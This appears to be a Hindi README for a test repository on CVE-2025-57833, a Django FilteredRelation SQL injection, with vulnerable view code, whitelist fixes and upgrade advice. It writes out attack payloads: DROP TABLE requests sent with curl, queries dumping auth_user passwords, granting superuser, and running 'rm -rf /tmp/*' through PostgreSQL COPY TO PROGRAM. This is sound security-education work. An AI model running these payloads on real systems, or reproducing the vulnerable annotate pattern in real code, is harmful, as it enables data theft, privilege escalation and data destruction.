
हमने CVE-2025-57833 का परीक्षण करने के लिए एक वातावरण तैयार किया है। यह वातावरण AI का उपयोग करके बनाया गया है, इसलिए इसमें निरंतर संशोधन हो सकता है।
यह रिपॉज़िटरी CVE-2025-57833 को प्रदर्शित और व्याख्या करती है, जो Django के ORM में एक गंभीर SQL इंजेक्शन भेद्यता है जो 4.2.24 से पहले के 4.2, 5.1.12 से पहले के 5.1, और 5.2.6 से पहले के 5.2 संस्करणों को प्रभावित करती है।
CVSS स्कोर: 9.8 (गंभीर)
प्रभाव: SQL इंजेक्शन जो रिमोट कोड निष्पादन (RCE) की ओर ले जाता है
प्रमाणीकरण आवश्यक: कोई नहीं (बिना प्रमाणीकरण वाला हमला)
Django ORM (ऑब्जेक्ट-रिलेशनल मैपिंग) डेवलपर्स को रॉ SQL के बजाय Python कोड का उपयोग करके डेटाबेस के साथ इंटरैक्ट करने की अनुमति देता है। उदाहरण के लिए:
# Instead of raw SQL: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)
FilteredRelation एक Django सुविधा है जो आपको अतिरिक्त फ़िल्टरिंग शर्तों के साथ तालिकाओं को जोड़ने की अनुमति देती है:
# Join books with authors, but only active authors
Book.objects.annotate(
active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')
कभी-कभी डेवलपर्स को उपयोगकर्ता इनपुट के आधार पर फ़ील्ड नाम गतिशील रूप से बनाने की आवश्यकता होती है:
# User wants to search by different criteria
search_field = request.POST.get('field_name') # User input: "title", "author", etc.
# Dynamic field creation using **kwargs
queryset.annotate(**{
search_field: FilteredRelation('some_relation')
})
भेद्यता तब उत्पन्न होती है जब सैनिटाइज़ न किया गया उपयोगकर्ता इनपुट को FilteredRelation के साथ annotate() या alias() में डिक्शनरी कुंजियों के रूप में उपयोग किया जाता है। यहाँ चरण-दर-चरण प्रक्रिया दी गई है:
# This is what vulnerable applications do:
user_input = request.POST.get('search_field') # Attacker controls this
# The vulnerability is here - user input becomes SQL column alias
queryset.annotate(**{
user_input: FilteredRelation("author") # ❌ DANGEROUS
})
एक हमलावर दुर्भावनापूर्ण इनपुट भेजता है:
user_input = "malicious_field'; DROP TABLE users; --"
Django इस प्रकार SQL उत्पन्न करता है:
SELECT ...
FROM book
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...
दुर्भावनापूर्ण SQL निष्पादित किया जाता है, जो संभावित रूप से:
कई Django अनुप्रयोगों में खोज कार्यक्षमता होती है जहाँ उपयोगकर्ता चुन सकते हैं कि किस फ़ील्ड में खोज करनी है:
# views.py - Common vulnerable pattern
def search_books(request):
search_field = request.POST.get('search_by') # "author", "title", "category"
search_value = request.POST.get('search_value')
# Developer thinks this is safe - IT'S NOT!
books = Book.objects.annotate(**{
f"filtered_{search_field}": FilteredRelation(
search_field,
condition=Q(**{f"{search_field}__name__icontains": search_value})
)
})
return JsonResponse({'books': list(books.values())})
# Attacker sends this POST request:
curl -X POST http://example.com/search/ \
-d "search_by=author'; DROP TABLE auth_user; --" \
-d "search_value=anything"
# NEVER DO THIS - Direct user input as dictionary key
user_field = request.POST.get('field')
queryset.annotate(**{
user_field: FilteredRelation('relation') # SQL Injection!
})
# SAFE - Use whitelist validation
ALLOWED_FIELDS = ['author', 'category', 'publisher']
user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
raise ValidationError("Invalid field")
queryset.annotate(**{
user_field: FilteredRelation('relation') # Now safe
})
# SAFE - Use static field names
search_type = request.POST.get('search_type')
if search_type == 'author':
queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
queryset.annotate(filtered_category=FilteredRelation('category'))
-- Extract sensitive data
'; SELECT username, password FROM auth_user; --
-- Modify data
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --
-- Execute system commands (PostgreSQL with appropriate extensions)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']
def safe_annotate(queryset, field_name):
if field_name not in ALLOWED_FIELDS:
raise ValidationError(f"Field '{field_name}' not allowed")
return queryset.annotate(**{
field_name: FilteredRelation('relation')
})
# Instead of dynamic field names, use conditional logic
def get_filtered_queryset(search_type):
if search_type == 'author':
return queryset.annotate(result=FilteredRelation('author'))
elif search_type == 'category':
return queryset.annotate(result=FilteredRelation('category'))
else:
raise ValidationError("Invalid search type")
नवीनतम Django संस्करण में अपडेट करें:
इस रिपॉज़िटरी में एक संपूर्ण परीक्षण वातावरण शामिल है:
# Run the vulnerable Django application
docker-compose up
# Test the vulnerability
curl -X POST http://localhost:8000/api/vulnerable-search/ \
-H "Content-Type: application/json" \
-d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'
विस्तृत परीक्षण निर्देशों के लिए, document/README.md देखें।
यह रिपॉज़िटरी केवल शैक्षिक और रक्षात्मक सुरक्षा उद्देश्यों के लिए है। इस जानकारी का उपयोग उन प्रणालियों पर हमला करने के लिए न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की अनुमति आपके पास नहीं है।